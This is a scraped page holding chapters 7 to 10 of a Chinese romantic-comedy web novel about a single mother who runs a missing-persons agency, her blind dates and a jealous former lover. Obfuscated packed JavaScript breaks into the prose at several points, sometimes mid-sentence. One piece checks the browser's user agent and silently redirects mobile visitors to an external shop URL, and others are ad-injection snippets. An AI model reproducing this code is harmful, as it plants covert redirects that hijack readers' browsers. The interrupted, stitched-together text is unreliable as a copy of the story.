《花二宫寻人事务所》 7. 修罗场 小学校,喷泉旁,榕树下。 宋流星望着那个美貌绝伦、如梦似幻的男子,愣了好一会儿,终于深呼一口气,走上前去,招呼道:“你好。” 男人转过脸来,露出友善的微笑:“你好。” 宋流星看到那个笑容,忍不住一阵心神迷乱。 她强行稳住心神,指指自己的包,又指指对方的衬衫,笑了一下,“一样的条纹。” 对方看了看,露出惊讶神色:“真的,一模一样。颜色和间距全都一样。” 他复又笑起来:“真的太巧了。” 巧吗?明明是阿珍一手安排的啊。 但是像这样假装偶然,感觉确实不错。 宋流星轻松笑起来:“我家孩子和同学玩去了。你家孩子呢?” 男人抬手指向前方:“和刚认识的小伙伴一起看画呢。” 宋流星顺着他指的方向看去,一个戴着银色小皇冠、穿着冰蓝色层层叠叠纱裙的小女孩正好转过头来,大笑着朝这边挥手。 宋流星忍不住笑起来:“是冰雪女王啊!” 男人也笑:“嗯,她真的很沉迷,动画片看了十几遍,每天都在家唱主题曲。” 宋流星:“我家虽然是儿子,也很喜欢冰雪女王呢。可惜不能穿女王的裙子,对打扮成王子也没兴趣。” 男人笑出声:“毕竟王子是反派嘛。” 宋流星想了想,自己的工作蛮特殊的,也不知道阿珍有没有跟对方说清楚? 于是掏出名片,双手递过去,仔细观察对方的反应。 男人略微惊讶:“寻人事务所?好特别的工作。” 随即露出清爽笑容:“我家应该是不会丢人,但是如果哪天丢了东西,一定找你帮忙。” 宋流星松了一口气,快乐地一拍胸脯:“尽管找我,我给你打折!” 男人笑道:“好啊,说定了。” 他掏掏自己的口袋,露出歉意神色:“啊,不好意思,我没带名片。” 宋流星潇洒一挥手,“没关系,阿珍都跟我说了。” 她羞涩一笑:“她对你评价可高了。” 男人愣了一下:“阿珍?” 宋流星自顾自笑起来:“阿珍说,我们两家孩子都是学渣,这话题一聊就能聊一筐,不用怕冷场。哈哈哈哈哈,哪有上来就说自家孩子坏话的,你说对不对?” 男人张了张嘴,欲言又止。 宋流星暗道不好,说不定人家爱女之心盲目,根本不觉得女儿是学渣呢! 她连忙解释:“啊呀,我不是这个意思,不是说你女儿是学渣,就是个玩笑,哈哈哈哈……” 笑容逐渐在脸上僵硬。 宋流星心中大叫,我怎么回事?听听我都说了些什么傻话啊! 一个高大身影在视野角落里一闪。 咦?好眼熟。 “啊!” 她获救一般惊呼,打断男人即将出口的话语。 “我好像看到了一个客户,我先过去一下。” 话音落下,人像炮弹一样冲出去。 * 五分钟之前。 仲光华躲在一块海报展板后面,死死盯着榕树下两个人的互动,眼睛都要喷出火来。 阿芳! 你不是已经有了钱润发吗?这又是谁? 瞧瞧你,耳朵都红起来了! 阿芳,难道你要对钱润发不忠吗?! 他正咬牙切齿,余光扫到一个小小的影子。 是李静深,这小不点不知何时默默站到了自己身边。 “吓我一跳!你在这儿干什么?不是说要去彩排吗?” 李静深点点头:“已经彩排完了。” 仲光华:“不用多彩排几遍吗?你可是压轴选手。” 李静深:“我已经准备得很好了。” 他仰着脸,表情认真:“叔叔,你的秘密任务是什么?需要我帮忙吗?” 仲光华:…… 他挤出微笑:“谢谢,但是不用了。你和小伙伴们玩去吧!“ 李静深看了一眼不远处的安安妈妈,又看了看仲叔叔,若有所思,安静离去。 仲光华往前走了几步,走出阴凉,站在无人的大太阳下。 他重重咳嗽一声,又动作幅度很大地撩动头发。 宋流星果然注意到了这边。 她立刻中断谈话,朝这边匆匆跑过来。 仲光华一阵心潮澎湃。 他今天特意来联欢会,就是为了再给阿芳一个机会。 之前接触时间太短,一时认不出也是有的。 我大人有大量,多给她一些时间,一些余地,然后……她一定会恍然大悟。 仲光华看着阿芳朝自己跑来,初夏的阳光在她发梢闪烁,心里变得酥酥麻麻。 果然如此。 即使一时忘了我,没认出我,她还是会不管不顾向我奔来。 这就是两个人之间强烈又绵长的吸引力啊。 ……致命的吸引力。 宋流星跑到仲光华面前停下,惊喜道:“真的是你啊,李老板!你也是学生家长?” 仲光华矜持点头:“我侄子,嗯,就是我哥哥的孩子,一会儿要表演钢琴,压轴。” “你孩子,叫安安对吧,有什么才艺表演吗?” 宋流星:“没有呢。” 仲光华露出同情的表情。 那个看起来不太聪明的孩子,看起来是真的不聪明啊。 但是,难得气氛好,勉为其难安慰一下她吧。 仲光华:“也不用太在意,孩子健康就好。” 宋流星:…… 不是,这人什么意思? 自家孩子优秀,就能嘲讽别人的孩子了吗? 呵呵,不过是侄子,又不是亲儿子。 但是客户是上帝,不能得罪。 于是她摆出营业微笑,进入正题:“你有哥哥啊。亲哥哥吗?” 仲光华:“是啊。” 宋流星看着他,一脸复杂,欲言又止。 仲光华:? 宋流星看看四周,稍微凑近,小声道:“那个,你哥哥知道吗?” 仲光华一时没反应过来:“知道什么?” 宋流星:“就是那个啊,那个。” 仲光华:! 他突然意识到了什么。 等一下,不会吧。 阿芳过来,是想继续招揽未竟的生意? 他闭上眼,深呼吸,挤出微笑:“我哥哥不知道。” 宋流星满是同情地拍拍仲光华的手臂,“有时候,不知道才幸福。你辛苦了,一个人背负这么多。” 仲光华:…… 宋流星一脸真诚:“但是也有时候,比起一直在未知中恐惧,不如查清真相,从哪里跌倒,就从哪里爬起来,开始新生活。” “发哥的名片你还留着呢吗?这样,我再给你一张我的。” 她从包里掏出一张名片,双手恭敬递过,佐以十六颗白牙殷切笑容: “有需要就打电话,我们事务所必定竭尽所能为你排忧解难!” 仲光华捏着名片,咬牙:“谢谢。” 宋流星用余光观察着榕树那边。 纱裙小女孩虎虎生风,飞速奔向自家爸爸,然后被爸爸举起来,发出快活的笑声。 少顷,父女两手拉着手,朝着另一个方向走去了。 宋流星狠狠松了一口气。 仲光华观察着她,冷不丁冒出一句:“你不喜欢他?” 那声音,莫名透着愉悦。 宋流星吓了一跳,连忙否认:“没有!” 话一出口,自己也觉得有歧义,连忙解释:“不存在什么喜欢不喜欢,我和他是陌生人,我们互相连名字都不知道。” 仲光华:“哦,陌生人啊。” 他眯起眼,语气带上阴阳怪气:“你看人家陌生人长得好,所以去搭讪?” 宋流星皱起眉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518065|142296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这人怎么回事? 即使是潜在客户,她也有点不爽了。 干脆承认,佐以阴阳怪气笑容:“是啊。爱美之心,人皆有之嘛。” 仲光华闭紧了嘴,浑身散发不爽。 宋流星心想,他不爽个什么劲? 再打量几眼对方,突然福至心灵,暗暗诧异:他该不会觉得是,明明自己长得也很好,却没有女家长来搭讪,所以不爽吧? 她思来想去,越发觉得这个猜测很对。 救命,真是好自信一男的。 “宋小姐。”一道低沉男声响起。 宋流星转身一看,惊喜道:“李sir,是你啊!” 站在几米外挥手的高大男人,正是昨天下午出警抓人贩子,又帮宋流星录口供的那个警察,李嘉豪。 仲光华两眼睁大,鼻孔也张大了。 这又是谁? 他看着两人熟稔攀谈起来,简直不敢置信。 阿芳啊阿芳,从前的你老实文静,如今的你,感情生活竟然如此多姿多彩? 仗着少爷不在,你就放飞自我了吗? 咫尺之处,李嘉豪笑着解释自己身在此地的缘由:“我姐姐的孩子参加了合唱团,一会儿要在礼堂表演。我们一大家子全都来了。” “宋小姐也是来看孩子表演的吧?” 宋流星挥挥手:“没有没有,我家孩子只会淘气,没有才艺,什么节目都选不上。” 她抬起手碰碰脸,有些害羞地补充:“不过他手很巧哦,花了一个月时间做了一个雕塑,就在前面的展区。大家看了都说好,说很有艺术气息呢。” 仲光华:? 我刚才问了一模一样的问题,你可不是这么回答的! 李嘉豪主动向宋流星问起仲光华:“这位是你丈夫?” 仲光华呼吸一窒,心跳大乱。 宋流星也大骇,连连摆手:“不是不是!怎么可能!这是我们事务所的一个客户。” 一瞬间,仲光华被这种极力撇清的态度伤到了。 呵,确实不可能。 你的丈夫是钱润发那种一脸蠢相的男人,和我根本不是同一个层次。 ……很久以前也是如此,任谁看到我们,也不会觉得我们相配。 宋流星继续介绍:“这位客户李老板也是来看孩子表演的——” 她突然扑哧一笑:“哎呀,好巧。” “你们两个都姓李,一个是舅舅,一个是叔叔,一起来看孩子表演。” 李嘉豪也笑起来:“是啊,好有缘分。” 他向仲光华伸出手:“你好,交个朋友。” 仲光华看着对方坚毅英俊的面庞,高大宽厚的身形,无因的怒火在胸中熊熊燃烧。 他咬住后槽牙,伸出手去:“你好,朋友。” 两只手握在一起。 仲光华下意识用力,渴望着对方露出吃痛的表情。 李嘉豪感受到了力度,一阵莫名其妙,却也本能地以力量还击。 两个人紧紧握着手,谁也不肯放开。 两张堪称刚毅的脸,同步开始抽搐。 宋流星:? 李嘉豪主动撤开手,礼貌笑道:“那我先过去礼堂那边了。” 宋流星:“哦哦,好的!祝你们玩得开心!” 她目送李嘉豪离去。 直到对方的身影消失在拐角,她才转回视线,落在仲光华身上。 仲光华静静享受着她的注视。 不错,多余的人都走了,只剩我们两个。 宋流星试探道:“你不走吗?” 仲光华一愣:“走去哪?” 宋流星:“礼堂啊。你的侄子不是要表演钢琴吗?” 仲光华:“哦,那个啊。无所谓。” 宋流星:? 她堆出笑:“那我先走啦,你随意,随意哈。” 说完,她一溜烟地跑了。 仲光华被留在原地,不敢置信。 8. 高质量父子时光 周三下午,六点,花二宫寻人事务所。 阿珍一边收拾东西,一边最后确定:“说好了啊。这周六吃晚饭。” 宋流星手一抖,逃避般撇开头:“知道了,知道了。” 这事儿原本就尴尬,没想到后续还能变得更尴尬。 从学校回来,阿珍打来电话,问她是不是临阵逃脱了,说那位相亲对象在喷泉边苦苦等了一个小时也没等到人。 宋流星当时就是整个莫名其妙。 一顿牛头不对马嘴的对质之后,两个人才意识到,原来十一小校园里有两个喷泉。 约好见面的男人在另一个喷泉,根本没见到。 那么……周六那天,榕树下的男人…… 他又是谁? 一个被我搭讪的无关路人? 客户李老板以为是我路见男人、随手搭讪。 没想到我是真的路见男人、随手搭讪啊! 宋流星想找条地缝钻进去。 宋流星想把这整件事从记忆里删除。 但是不行。 阿珍转头和相亲对象联系之后,那边说:出这样的意外大家也不想的,不如这周六吃个晚饭弥补。 宋流星:…… 不想去! 如果一开始就约正儿八经的晚饭,那她根本不会答应。 但是……莫名变成这样,她好像也没办法再强硬拒绝。 只能答应下来。 阿珍:“到时候你在家等着就好啦,他会开车来接你的!” 她挥挥手,手链一阵哗啦啦:“那我下班啦。” 高跟凉鞋踩在水磨石地面上,踢踢踏踏,消失在门外。 夕阳透过百叶窗的缝隙,在水磨石地面投下亮斑。 光线范围之外,幽暗而氤氲。 宋流星一个人坐在电脑边。 空荡荡的房间里,只有她敲击键盘的些许声音。 她听见声音,站起来迎客,等看清来人,脸上的笑容立刻僵住。 是李老板。 周六那天,全程目击了她搭讪路人的李老板。 一看到李老板的脸,那尴尬的一幕,立刻在脑海里栩栩如生开始播放。 啊,真想把李老板扔出去。 但是职业素养仍驱使着她招呼客人坐下,又奉上茶水,殷勤道:“李老板考虑得怎么样了呢?关于你家的私生子这件事,我们从什么角度切入比较好呢?” 仲光华听着“私生子”这三个字,耳朵一跳一跳的。 “不用调查了。我后来想清楚了,这是家父自己的事情,和我没什么关系。” 宋流星心想,太好了。 不用继续和这位李老板做生意,真是太好啦! 她随口客气道:“这点事,手机发个消息就行啦,何必特意上门?” 仲光华一脸郑重:“这样比较正式。我做事喜欢有始有终。” 宋流星微笑:“啊,也对。挺好的。那,祝你和父亲沟通顺利。” 说完,她便等着对方告辞。 但是对方并没有告辞的意思。 宋流星礼貌忍耐。 空调发出一阵奇怪的声音。 仲光华抬眼看了看空调:“空调好像坏了。” 宋流星:“嗯嗯,回头找人修。” 仲光华:“这空调看着有年头了,还有修的余地吗?” 宋流星:“不知道啊,回头我问问发哥。” 仲光华又坐了一会,终于起身。 起身的一瞬,他肉眼可见对方松了一口气。 他出了大门,感觉自己的心碎成了一堆渣。 太可悲了。 还以为多在她面前出现几次,她就会认出我。 阿芳……你好狠的心。 你是真的,把你的少爷,彻底给忘了。 * 仲光华思绪万千上了车,打火启动,沿着狭窄混乱的街道向外驶去。 一个熟悉的身影出现在拐角处。 是宋平安。 那个智商可疑的巨型小学生。 他趴在玻璃橱窗上,一动也不动,不知道在干什么。 穿着格子围裙的店员跑出来,一阵呼喝,宋平安一溜烟跑开了。 库里南驶过玻璃橱窗。 原来是一家甜品店。橱窗里摆着五颜六色的冰激凌桶,看起来十分香甜。 仲光华心念一转,在街尾停车,下了车,朝着来路走去。 追上了。 他伸手拍拍前面的巨型小学生。 宋平安回过头,愣了一下,然后露出快乐笑容:“李叔叔!” 仲光华矜持笑笑:“你还记得我啊。” 宋平安大力点头:“记得!你有私生子!” 马路边摇着扇子下棋的大爷们瞬间齐齐转过头来,无数双小眼睛绽放出犀利的八卦光芒。 仲光华抓住这个小傻瓜的胳膊,拖着他就走。 * 甜品店里,宋平安兴高采烈的吃着李叔叔请的“草莓旋风仙草啵啵芭菲”。 他动作实在不优雅,吃得半个脸蛋都脏兮兮。 仲光华嫌弃地看着他。 “你没有零花钱的吗?” 快乐的小脸蛋立刻蒙上阴影。 “我有……”他拖长声音,满是委屈。 仲光华:“难道被抢走了吗?” 宋平安惊讶抬头:“李叔叔你怎么知道?!” 仲光华更惊讶:“真被抢走了?你这样的体格,竟然被抢?对方是中学生吗?” 宋平安声音闷闷的:“是我们班上的。他掌握了我的黑料,我要是不把钱给他,他就要告发我。” 仲光华:“你有什么黑料?” 宋平安撅着嘴,不肯说话了。 仲光华用指节敲敲桌子,催促道:“快说。” “你要是不说,我就去找你妈妈,说你的零花钱被同学抢了。” 宋平安震惊抬头,两眼瞪得溜圆,仿佛遭遇了人生最大背叛。 仲光华作势起身:“不说?那我去找你妈妈了。” 宋平安连忙伸手抓住他裤子,大叫:“我说!李叔叔!我说!” 原来,宋平安捉了青蛙装在书包里带到学校,上课途中,青蛙突然跑出来,吓得全班乱成一团。 事后,班上一个小男生找到宋平安,说看到青蛙是从宋平安书包里出来的,以此反复勒索他。 仲光华:…… 就这?就这? 仲光华:“我教你接下来怎么做。不要再给他钱了。他要是告诉老师,你就一口咬定,什么青蛙,没见过,与你无关。” 宋平安一脸不可思议:“李叔叔,你是说……让我撒谎?” 仲光华:“有什么问题吗?” 宋平安小脸扭曲:“撒谎是不对的。” 仲光华:“听着,你已经四年级了,是时候知道一些复杂的道理了。” “对待爱你的人呢,比如说你妈妈,撒谎当然不可以。但是对待坏人,撒谎可以,伤害可以,什么都可以。这叫做恶人需有恶人磨。” 宋平安难受得直抓脸:“李叔叔……我感觉……撒谎……不太好。” 仲光华皱起眉:“你这孩子怎么这么死心眼?你妈妈就算了,她跟你差不多死心眼。你爸爸呢?他看着挺社会的啊,他什么都没教过你吗?” 宋平安惊讶睁大眼:“李叔叔,你认识我爸爸?” 仲光华一愣。 他马上意识到不对,这其中可能存在某种误会。 他往后一靠,假意咳嗽一声,掸掸衬衫上不存在的灰尘。 “应该是认识吧。我也不确定。你有你爸爸的照片吗?给我看一眼,就知道了。” 宋平安连连点头:“有的有的!” 他从书包里掏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13518066|142296||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出文具盒,从文具盒夹层里掏出一张照片。 画质很不好,像是很久以前的低像素照片强行打印出来的。 但看得出来是个帅哥,宽肩长腿,一身蓝白运动服,笑容爽朗。 仲光华捏着照片,狠狠咬牙。 呵呵,原来不是钱润发,是你啊。 是你勾引了当年的阿芳。 就在这时,一道不祥的闪电突然击中仲光华的心。 “就这么一张照片?”他问道。 宋平安一脸哀伤:“嗯。我爸爸在我很小的时候就去世了。” * 晚上十一点二十分,仲光华的顶层公寓。 “她丈夫已经死了。” 仲光华仰头灌下一整杯赤霞珠。 “她丈夫要是还在,我可以用钱收买他,让他离婚。让阿芳好好体会一下,她丈夫为了钱,能有多无情。” “但是竟然死了……这不就成了白月光了?” 他伸手去抓红酒瓶子,想要继续倒酒,却被李流年捂住杯口。 “行了,别喝了,就你那破酒量,明天该头疼了。” 仲光华看着被捂住的杯子,呆楞了一会,一仰头,举着酒瓶就往喉咙里灌。 李流年大惊失色,奋力夺下酒瓶,大骂道:“你不要命啦!” 仲光华跌坐到地毯上,一脸失魂落魄。 李流年叹气。 他把酒瓶收到厨房去,回来坐下,安慰道:“死了不是正好?” “你现在就去跟她告白。” “这么多年,她一个人带着孩子,一定很辛苦。你这时候出现正好,她和孩子从此都有依靠了。” 仲光华瞪起眼睛:“告白?告什么白?要告白也得是她来跟我告白!” “她先来求我,向我认错道歉,我再考虑要不要原谅她!” 李流年:…… 仲光华胡乱挥手:“而且,接受她也就罢了,接受别人的崽子?你当我是什么?绿毛龟吗?” 李流年:“那不是你们分开之后有的吗……怎么就绿毛龟了……” 仲光华大喊:“什么分开?不存在!我没有允许过!” 李流年:…… 李流年:“随便吧。那你打算怎么办?” 仲光华往下一滑,整个人瘫软在地毯上,喃喃低语:“不知道。” 李流年忍不住偷偷翻白眼。 “要么放弃吧。” “你自己说的,她背叛你,丢下你,另外有了白月光,有了孩子,让你变成绿毛龟。” “你这么骄傲的人,怎么可能再接受这样的女人?你说对不对啊?” 仲光华紧紧抿着嘴,下颌紧绷。 “我要报复她。” 李流年:“好。可以。你打算怎么报复?找个人去泼她硫酸,或者找辆车去撞她?” 仲光华咕噜一下坐起来,惊恐盯着友人。 李流年一脸无辜:“你看我干什么。不是你自己说要报复吗?” 仲光华:“那也不是你说的这些啊!” 李流年:“那你要怎么报复?” 仲光华愣住。 几秒之后:“我,我没想好。” 李流年清清嗓子,“我来帮你捋一下。” “你的诉求是阿芳向你认错道歉。” “可问题是,她不记得你是谁了。” “所以你需要做的,就是告诉她你是谁。跟她说明白,当初她的离开对你造成了多大的伤害。” 仲光华皱起脸,全身写满不情愿。 李流年:“你到底在扭捏什么?一点都不像你了!” 仲光华全身燃起薄怒。 旋即,又熄灭。 他的肩膀垮下去。 “她跟我道歉,然后呢?” “从此以后,正式恩断义绝?” “比起这样,我宁可一直恨她。” 9. 第二次相亲 周六傍晚。 宋流星犹豫一番,最终换上一件碎花连衣裙。 好歹是吃晚饭,她不想表现得没礼貌。 经过上次的意外,这一次她和刘先生事先交换了联系方式。 就在刚才,刘先生发消息来说,他十分钟后就到。 这位刘先生,离婚三年,带着一个女儿。 外貌方面比较一般,但是家里有六套房子放租,本人是公务员,脾气也是公认的好。 从市场角度来看,配她绰绰有余。 宋流星痛苦捂住脸。 这种相亲饭局,她是真的不想去。 可是,谁让她理亏呢。某种程度上,她确实放了对方鸽子。 宋流星从窗口向下望去。 黑色的奥迪A4从街道尽头驶来。 是刘先生的车。 她抓起小包,一溜烟下了楼梯,奔过大厅,出了门,站在台阶上。 黑色奥迪停在街边,一个男子钻出来。 宋流星:…… 这所谓的“比较一般”,可以说相当一般啊。 其实男人吧,确实也不需要长得多标志。 但至少要有点基本的身高吧。 这位刘先生,甚至还没有我高啊。 宋流星一瞬间有点生气。 阿珍是看不起我吗?觉得我只能配这种的? 哦,对了,阿珍的老公是秃顶,油光锃亮寸草不生的那种。 阿珍是真的,不在乎男人外貌。 而且,或许,这也不是刘先生的错。 都怪落差太大…… 宋流星想起上周末见到的那一幕。 阳光下,喷泉边,榕树下。 修长挺拔的身姿,洁白无暇的额头,笔直的鼻梁。 都怪上一个对象太惊艳…… 啊啊啊啊我在想什么呢! 他才不是什么对象,是被我随手搭讪的无辜路人。 宋流星打起精神,礼貌微笑:“刘先生,你好。” 刘先生小小的眼睛一下子睁得溜溜圆,盛满惊艳。 他匆匆绕过车头,拉开副驾驶的车门,浮夸道:“宋小姐请上车。” 宋流星抓紧小包,上了车。 * 刘先生选的,是一家淮扬菜餐厅。 宋流星从服务员手里接过菜单,仔细研读,偷偷睁大眼睛。 一个青菜要188?一个小炒里脊要358?这些菜是金子做的吗? 一时间满腹怨言。 初次见面为什么要选这么贵的地方?平白给人压力。 她正在使劲考虑该点些什么菜,桌子另一边的刘先生已经直接开口。 他点了二荤二素:狮子头、脆鳝、上汤干丝、清炒小青菜。 服务员离开后,刘先生才仿佛刚想起来似的:“你有没有什么忌口的?” 宋流星摇头微笑。 刘先生一脸得意:“我常来这里,刚才点的都是他们最拿手的。味道你就期待吧。” 宋流星花瓣一样的眼睛弯起来:“那我就期待了。” 刘先生一下子兴奋起来。 “宋小姐,你知道吗,淮扬菜历史相当悠久,春秋时代就有了雏形。” “淮扬菜的味道呢,其实和粤菜比较接近,都是清淡鲜甜为主。但是淮扬菜有个最大的特点,就是刀工和造型上特别精细讲究。。” “正因为这个特点呢,首都中心的国宴都是以淮扬菜为主的。” 宋流星:“哇,好厉害。” 刘先生挑挑眉毛,圆圆胖胖的脸满是得意:“正宗的淮扬菜餐厅很难找的。我也是这些年在单位里负责招待领导,所以对本地的餐厅颇有心得。” “你知道吗?我曾经带省里来的领导来这家吃,领导们都赞不绝口。” 宋流星:“哇……” 隔壁响起轻轻一声嗤笑。 很小一声,只有宋流星听到了,刘先生毫无察觉。 宋流星转头一看,是一个年轻男人,一头卷发,头顶插着墨镜,一身看起来十分有质感的绸料西服。 他一个人占了一张桌子,点了满桌的菜。 好典型一个纨绔公子。 宋流星淡淡转回头,不打算搭理。 与此同时,那位纨绔公子可是完全淡定不下来。 四目相接之下,电光火石之间,他认出了这个女人: 好友仲光华那本厚厚相簿里数百张照片的主人公,胆敢抛弃天之骄子仲家少爷、一度人间蒸发、谜一般的女人。 ……阿芳。 李流年暗自惊叹。 时光显然宠爱了她。 她曾经是个不起眼的黄毛丫头,只有一双灵活的眼睛惹人注意。 而如今她有了年纪,却没有衰老。 那双花瓣一般的眼睛,即如往昔一般灵活闪亮,又多了岁月的重量,无数故事与秘密蕴含其中,静静流淌。 菜陆续上来。 刘先生认真品尝,满足叹气:“你平时很少有机会吃这样的餐厅吧。” 宋流星:…… 她微笑:“是啊。平时工作忙,很难有时间特意进餐厅吃饭。” 刘先生:“倒也不是有没有时间的问题。这样的餐厅,也不是有时间就能来吃的。” 宋流星:…… 行叭。 刘先生:“宋小姐平时是自己做饭?” 宋流星摇头,“基本是买现成的。那种冷冻的或者冷鲜的,回家拿微波炉叮一下就好。” 刘先生惊讶:“宋小姐不是有孩子吗?孩子怎么办?也天天吃现成的吗?” 宋流星顿了一下,解释道:“我也会注意荤素搭配,营养还是保证的。” 刘先生啧啧道:“那也太可怜了吧……” 宋流星:…… “刘先生平时在家做饭的吗?很难得啊。” 刘先生:“我?我怎么会做饭。是我妈妈做。” 宋流星:…… 刘先生挤挤眼:“不过,等我再婚之后,就是我老婆做了。” 宋流星:…… 她心中大叫:别挤了!再挤就没了!而且我也不会是你老婆的! 刘先生开始谈起宋流星的职业。 “我听阿珍说了,宋小姐这个职业蛮有意思的啊。” 宋流星点头:“嗯,是很有意思。能见识到各种人各种事。” 刘先生:“也很辛苦吧。” 宋流星微笑:“哪一行不辛苦呢。” 刘先生:“风里来雨里去的,实在不适合宋小姐这样的人。” “这样的外貌,被风雨摧残了多可惜。” 宋流星:…… 刘先生:“要我说,宋小姐不适合做这一行。你知道你适合哪一行吗?” 宋流星微笑。 刘先生嘿嘿笑起来:“适合当好人家的夫人!” 宋流星:…… 刘先生:“我听说宋小姐丧偶多年,一直没有再婚?是忘不掉前夫吗?” 隔壁桌上,李流年瞬间竖起耳朵! 宋流星笑了。 “有什么忘不掉的。人的记忆其实持续不了那么久的。” 刘先生:“那是为什么一直单身呢?宋小姐这样的人品,应该很多男人追你吧?” 宋流星不想解释,只是微笑:“也没有啦。没什么人追我的。” 刘先生:“不要谦虚啦。要我说,是宋小姐眼光太高吧。” 他叹了一口气,“其实有时候还是要现实一点的。” “美丽当然是女人的武器,但美丽总会消失。” “宋小姐年纪也不小了,再不赶紧行动起来,就要来不及了!” 他一脸推心置腹:“再过几年,你儿子也长大了,要结婚了,问你要彩礼要房子,你拿不出,可怎么办呢?” “岂不是要母子反目?” 宋流星:…… 第一次见面,你这是不是考虑得太远了一点。 刘先生:“我是很有诚意的,像我这样的条件,市场上不多了。” 宋流星心想,有句过时的网络语,放在眼下倒很合适。 无语是我的母语。 怎么办,有点忍不住了。 她看看桌上,吃得也差不多了,是不是可以买单了。 这顿AA吧。 必须AA。 不然后患无穷。 隔壁桌,李流年哗啦啦站起来,一个旋身站到刘先生身后,惊讶大呼:“哎呀!这不是宋小姐吗?好巧啊,竟然在这里遇见你。” 他一手撑在桌子上,一手按着刘先生肩膀,撒娇道:“你怎么一直不联系我?真是好狠的心。” 刘先生抖抖肩膀,想把这只不请自来的手抖掉,结果,根本甩不掉。 他大声质问:“你是谁?” 李流年嘻嘻笑:“我不是谁。只是宋小姐曾经帮过我一个大忙,我心里一直挂念。” 宋流星看着眼前这个卷毛纨绔,不禁目瞪口呆。 我们根本不认识好吧?哪来的什么帮你大忙? 李流年:“宋小姐原来喜欢吃淮扬菜?早说啊,我天天请你吃。” 他看了看桌面,啧了一声,“就点了四个菜?够吃吗?” 刘先生瞬间涨红了脸,大声道:“铺张浪费很光荣吗?” 李流年哈哈笑:“说的对。铺张浪费可耻。我就是可耻的人。” “今天这顿我请了吧。” 他随手招过服务员,甩出信用卡。 刘先生 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 试图起身:“不用了!” 李流年牢牢摁着他,不让他起来:“别跟我抢!跟我抢就是看不起我!” 他朝着宋流星抛了个媚眼:“宋小姐,看在我请你吃饭的份上,以后可要回我消息啊。” 说完,他接过服务员送回来的信用卡,抛出一个飞吻,翩翩离去。 刘先生脸色一阵青一阵白。 他绷着脸:“宋小姐,吃好了吗?我送你回去吧。” 宋流星:“谢谢,但是不用了!” 她紧急搜刮理由:“那个,我朋友正好在附近,我找她有点事。” 刘先生不知道相信了没有。 反正他是接受了这个说法,独自忿忿离开。 宋流星一个人出了餐厅,朝着地铁站走去。 糟糕,在刘先生眼里,我大概成了四处留情的坏女人了。 感觉不坏。 总强过刘先生嘴里的“上了年纪、即将因为拿不出彩礼和儿子反目成仇的绝望女人”。 她回忆起那个莫名其妙冒出来请客的人。 我可真厉害。对人的第一印象超级准。他果然就是那种闲得发慌的纨绔公子。 唉。 不管怎么样,谢谢你啦,吃饱了没事干的有钱人。 因为有你,我无痛切断了这场造孽的相亲。 * 第二天,李流年约了好友一起吃饭。 他咽下一口白酱鲈鱼,矜持擦拭嘴角,不经意道:“说来也巧,昨天我遇见阿芳了。” 仲光华瞪大眼睛,全身顿住,等待下文。 李流年慢条斯理开始品酒。 仲光华:“喂!” 李流年:“怎么会这么巧呢?吃个饭就遇见了。我在想啊,大家都在这一片生活了好多年,没准以前也遇到过,只是那时候不认识。” 他看一眼友人,笑得超愉快:“但是你肯定是没遇到过。怎么说,这就叫有缘无分吗?” 仲光华懒得理他揶揄,紧张道:“你没和她搭话吧?” 李流年:“为什么不搭话?岂止搭话,我还请她吃饭了。” 仲光华大惊。 李流年举起手:“可别误会,没我和她一起吃,就是帮她付账而已。” “她当时正在相亲。哎哟那个对象,真是一言难尽。” “我也算是行侠仗义了!哈哈哈哈!” 他愉快大笑起来。 仲光华气急败坏:“相亲?” “为什么当时不通知我?!” 李流年甩了一个白眼:“通知你干什么?过来搞破坏吗?” “你淡定一点,我不是说了吗,那个对象一言难尽。不用劳驾你,我随便就把他搞得下不来台。” 仲光华眉头打成死结。 “很差吗?那个对象?” “为什么她要和那么差的对象相亲?” 李流年:“你问我?我怎么知道。” “为什么要抛弃我们天之骄子仲大少爷,委屈自己和莫名其妙的人相亲?” “哎呀哎呀,我可是想破脑瓜子都想不明白呢。” 仲光华紧紧盯着友人:“你没说漏嘴吧?没对她说你的名字吧?” 李流年:…… “不是,你擅自占用我名字,这事是你欠我吧,怎么你口气倒像是债主似的?” 仲光华目光灼灼。 李流年叹气:“没有,你放心吧。” “但是这件事真的没问题吗?你刚说完我不会和她见面,这不就见上了?我看这事迟早露馅。” 仲光华:“怎么会?你不要说漏嘴,你侄子不要说漏嘴,就没问题。” 他眯起眼睛:“你侄子没问题吧?” 李流年:“他聪明得很,你放心吧。” 说曹操,曹操就到。 豆芽大的小学生李静深一身白衬衫黑短裤,背着大书包,噔噔噔的就过来了。 仲光华:“你来干什么?” 李静深:…… 李流年:“你说什么屁话,他当然是来吃饭。” “他的书法教室就在这附近,我就叫司机把他送过来了。” “家人当然要一起吃饭,对不对啊,阿深?” 李静深矜持点头,拿过菜单,认真浏览。 仲光华随口问道:“书法教室好玩吗?” 李静深一张小包子脸十分严肃:“我是去学书法的,不是去玩的。” “仲叔叔,你知道吗,安安家出大事了。” 仲光华:? 他不知道。 他当然不知道。 李静深歪头:“这么大的事,你竟然不知道吗?” 仲光华:…… 这个臭小子。 “什么大事,快说!” 10. 事务所大危机 李静深向仲叔叔转述了关于花二宫寻人事务所的大消息。 